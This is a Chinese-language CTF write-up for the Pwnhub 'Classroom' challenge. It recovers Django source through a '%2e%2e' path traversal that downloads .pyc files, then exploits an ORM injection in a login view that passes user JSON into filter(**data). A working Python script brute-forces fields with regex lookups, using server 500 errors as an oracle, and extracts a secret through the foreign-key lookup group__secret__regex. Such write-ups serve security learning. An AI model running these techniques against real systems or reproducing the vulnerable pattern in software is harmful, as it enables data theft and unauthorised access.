Pwnhub-Classroom-Writeup
页面中有一个js:http://54.223.46.206:8003/static/js/login.js
发现是能够进行文件读取的(具体见:http://wooyun.jozxing.cc/static/drops/papers-5040.html ),但是对conf、py等后缀做了限制。
通过http的返回头也知道一些信息:Server:gunicorn/19.6.0 Django/1.10.3 CPython/3.5.2
python3.x预编译文件会产生pyc
为了提高模块加载的速度,每个模块都会在__pycache__
文件夹中放置该模块的预编译模块,命名为module.version.pyc,version是模块的预编译版本编码,一般都包含Python的版本号。例如在CPython 发行版3.4中,fibo.py文件的预编译文件就是:__pycache__/fibo.cpython-34.pyc
一个Django的一开始的配置文件:
所以可以先从这几个文件下手。
另外还有view.py和model.py
下载pyc文件
wget 54.223.46.206:8003/static/%2e%2e/__pycache__/views.cpython-35.pyc
用uncompyle6反编译pyc成py
urls.py
from django.conf.urls import url
from . import views
urlpatterns = [
url('^$', views.IndexView.as_view(), name='index'),
url('^login/$', views.LoginView.as_view(), name='login'),
url('^logout/$', views.LogoutView.as_view(), name='logout'),
url('^static/(?P<path>.*)', views.StaticFilesView.as_view(), name='static')]
model.py
from django.db import models
class Student(models.Model):
name = models.CharField('', max_length=64, unique=True)
no = models.CharField('', max_length=12, unique=True)
passkey = models.CharField('', max_length=32)
group = models.ForeignKey('Group', verbose_name='', on_delete=models.CASCADE, null=True, blank=True)
class Meta:
verbose_name = ''
verbose_name_plural = verbose_name
def __str__(self):
return self.name
class Group(models.Model):
name = models.CharField('', max_length=64)
information = models.TextField('')
secret = models.CharField('', max_length=128)
created_time = models.DateTimeField('', auto_now_add=True)
class Meta:
verbose_name = ''
verbose_name_plural = verbose_name
def __str__(self):
return self.name
view.py
import json
import os
from wsgiref.util import FileWrapper
from django.shortcuts import render, redirect
from django.urls import reverse_lazy
from django.views import generic
from django.http import JsonResponse
from django.core import exceptions
from django.http import HttpResponse, Http404
from django.conf import settings
from django.db.models import F
from . import models
class RequireLoginMixin(object):
login_url = reverse_lazy('students:login')
def handle_no_permission(self):
return redirect(self.login_url)
def dispatch(self, request, *args, **kwargs):
if request.session.get('is_login', None) != True:
return self.handle_no_permission()
return super(RequireLoginMixin, self).dispatch(request, *args, **kwargs)
class JsonResponseMixin(object):
def _jsondata(self, msg, status_code=200):
return JsonResponse({'message': msg}, status=status_code)
class LoginView(JsonResponseMixin, generic.TemplateView):
template_name = 'login.html'
def post(self, request, *args, **kwargs):
data = json.loads(request.body.decode())
stu = models.Student.objects.filter(**data).first()
if not stu or stu.passkey != data['passkey']:
return self._jsondata('', 403)
else:
request.session['is_login'] = True
return self._jsondata('', 200)
class LogoutView(RequireLoginMixin, JsonResponseMixin, generic.RedirectView):
url = reverse_lazy('students:login')
def get(self, request, *args, **kwargs):
request.session.flush()
return super(LogoutView, self).get(request, *args, **kwargs)
class IndexView(RequireLoginMixin, JsonResponseMixin, generic.TemplateView):
template_name = 'index.html'
def post(self, request, *args, **kwargs):
ret = []
for group in models.Group.objects.all():
ret.append(dict(name=group.name, information=group.information, created_time=group.created_time, members=list(group.student_set.values('name', 'id').all())))
return self._jsondata(ret, status_code=200)
class StaticFilesView(generic.View):
content_type = 'text/plain'
def get(self, request, *args, **kwargs):
filename = self.kwargs['path']
filename = os.path.join(settings.BASE_DIR, 'students', 'static', filename)
name, ext = os.path.splitext(filename)
if ext in ('.py', '.conf', '.sqlite3', '.yml'):
raise exceptions.PermissionDenied('Permission deny')
try:
return HttpResponse(FileWrapper(open(filename, 'rb'), 8192), content_type=self.content_type)
except BaseException as e:
raise Http404('Static file not found')
其中在loginView里面有个关键的地方就是
data = json.loads(request.body.decode())
stu = models.Student.objects.filter(**data).first()
if not stu or stu.passkey != data['passkey']:
看下官方文档:
filter是接收关键字变量参数(字典类型),**kwargs
其中filter是作为条件语句使用的,类似where,里面的参数相当于条件,多条件的时候是以and连接。这也表示where后面的条件我们是可控的。于是可以形成注入。
看下filter中的操作关键字
operators = {
'exact': '= %s',
'iexact': 'LIKE %s',
'contains': 'LIKE BINARY %s',
'icontains': 'LIKE %s',
'regex': 'REGEXP BINARY %s',
'iregex': 'REGEXP %s',
'gt': '> %s',
'gte': '>= %s',
'lt': '< %s',
'lte': '<= %s',
'startswith': 'LIKE BINARY %s',
'endswith': 'LIKE BINARY %s',
'istartswith': 'LIKE %s',
'iendswith': 'LIKE %s',
}
比如startswith,
if not stu or stu.passkey != data['passkey']:
return self._jsondata('', 403)
else:
request.session['is_login'] = True
return self._jsondata('', 200)
filter查询有结果,但是没有data['passkey']这个值传入的话,python会报500的错误。
exp:
import requests
import json
url = "http://54.223.46.206:8003/login/"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
payload = "abcdefghijklmnopqrstuvwxyz0123456789:"
current_data = ""
def check(current_data):
temp = current_data
for p in payload:
temp += p
data = "^%s.*" % temp
post_data = "%s" % json.dumps({"name__regex": data})
r = requests.post(url,data=post_data,headers = headers)
if r.status_code == 500:
return p
temp = current_data
for k in range(80):
current_data += check(current_data)
print "%dth data: %s" % (k,current_data)
在model.py中还有一个Group表,Student的外键就是它。
所以可以通过外键查询group的secret。
group__secret__regex
最后get flag。